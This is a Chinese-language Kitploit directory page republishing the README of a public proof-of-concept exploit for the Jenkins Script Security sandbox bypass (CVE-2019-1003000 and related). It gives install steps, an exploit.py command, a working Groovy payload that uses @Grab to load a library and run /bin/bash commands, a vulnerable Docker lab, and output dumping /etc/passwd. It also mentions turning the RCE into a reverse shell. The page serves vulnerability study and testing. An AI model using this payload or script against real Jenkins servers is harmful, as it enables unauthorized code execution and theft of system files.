Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2019-1003000-jenkins-rce-poc — Jenkins RCE 概念验证:SECURITY-1266 / CVE-2019-1003000(Script Security)、CVE-2019-1003001(Pipeline: Groovy)、CVE-2019-1003002(Pipeline: Declarative) | Kitploit
工具/GitHubGitHub/adamyordan/cve-2019-1003000-jenkins-rce-poc
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubadamyordan/cve-2019-1003000-jenkins-rce-poc

cve-2019-1003000-jenkins-rce-poc

Jenkins RCE 概念验证:SECURITY-1266 / CVE-2019-1003000(Script Security)、CVE-2019-1003001(Pipeline: Groovy)、CVE-2019-1003002(Pipeline: Declarative)

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库网站
3168717年前Kitploit 审核通过
分享

PoC:Jenkins RCE

SECURITY-1266 / CVE-2019-1003000 (Script Security),CVE-2019-1003001 (Pipeline: Groovy),CVE-2019-1003002 (Pipeline: Declarative)

一个概念验证,允许具有 Overall/Read 权限和 Job/Configure(以及可选的 Job/Build)权限的用户绕过沙箱保护,在 Jenkins 主节点或代理节点上执行任意代码。

更新: 一篇由 Orange Tsai 撰写的文章,解释了利用 CVE-2018-1000861 和 CVE-2019-1003000 的攻击链,该链在无需 Overall/Read 权限的情况下实现预认证 RCE: http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html

安装

root@kitploit:~
$ git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
$ cd cve-2019-1003000-jenkins-rce-poc
$ pip install -r requirements.txt

用法

将目标 URL、任务名称、用户名/密码凭据以及要执行的系统命令作为参数传入。

root@kitploit:~
$ python exploit.py --url http://jenkins-site.com --job job_name --username your_user --password your_passwd --cmd "cat /etc/passwd"

解释

摘自 Red Hat Bugzilla - Bug 1667566:

在 Pipeline: Declarative Plugin 1.3.4.1 之前版本、Pipeline: Groovy Plugin 2.61.1 之前版本以及 Script Security Plugin 1.50 之前版本中发现了一个缺陷。在脚本编译阶段,可以通过向源代码元素应用 AST 转换注解(例如 @Grab)来绕过 Script Security 沙箱保护。该问题影响管道验证 REST API 以及实际的脚本/管道执行。这使得具有 Overall/Read 权限的用户,或者能够控制 SCM 中 Jenkinsfile 或沙箱化管道共享库内容的用户,能够绕过沙箱保护,在 Jenkins 主节点或代理节点上执行任意代码。现在,沙箱脚本中禁止使用 Groovy 中所有已知的不安全 AST 转换。

此 PoC 使用一个具有 Overall/Read 和 Job/Configure 权限的用户,在沙箱模式下执行恶意修改的构建脚本,并尝试绕过沙箱模式限制以运行任意脚本(在本例中,我们将执行系统命令)。

背景知识:Jenkins 的管道构建脚本是用 Groovy 编写的。该构建脚本将在 Jenkins 主节点或代理节点上编译并执行,其中包含管道的定义,例如在从节点上执行什么操作。Jenkins 还提供了在沙箱模式下执行的脚本。在沙箱模式下,所有危险函数都被列入黑名单,因此普通用户无法对 Jenkins 服务器进行恶意操作。

然而,由于构建脚本是用 Groovy 编写的,我们可以使用 Java 包中的任何类或函数(但在沙箱模式下,危险的内置函数被列入黑名单)。在此场景中,我们使用 AST 转换注解 @Grab 让 Jenkins 从外部 Maven 仓库导入任意 Java 包。在本 PoC 中,我使用 org.buildobjects:jproc:2.2.3 中定义的 ProcBuilder 类来运行系统 shell 命令。

有效载荷定义如下:

root@kitploit:~
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","cat /etc/passwd").run().getOutputString()

上述脚本将在 Jenkins 主节点或代理节点上编译并执行。任务构建完成后,我们可以在任务控制台输出中看到 shell 命令 cat /etc/passwd 的执行结果。此外,我们可以利用此 RCE 获得反弹 shell,从而真正地控制 Jenkins 服务器!

示例易受攻击站点

本仓库的 sample-vuln 目录中提供了一个示例易受攻击的 Jenkins 站点,采用 Docker 容器格式。启动后,容器镜像将在 TCP 8080 端口上托管一个 Jenkins 站点,其中包含一个具有 Overall/Read + Job/Configure + Job/Build 权限的普通用户,凭据为 user1:user1,以及一个 ID 为 my-pipeline 的管道任务。

root@kitploit:~
$ cd sample-vuln
$ ./run.sh


$ cd ..
$ python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"

[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash

[Pipeline] End of Pipeline
Finished: SUCCESS

参考

  • Jenkins Security Advisory 2019-01-08
  • Jenkins upstream patch
  • Red Hat Bugzilla - Bug 1667566
  • Jenkins Script Security Plugin
下载工具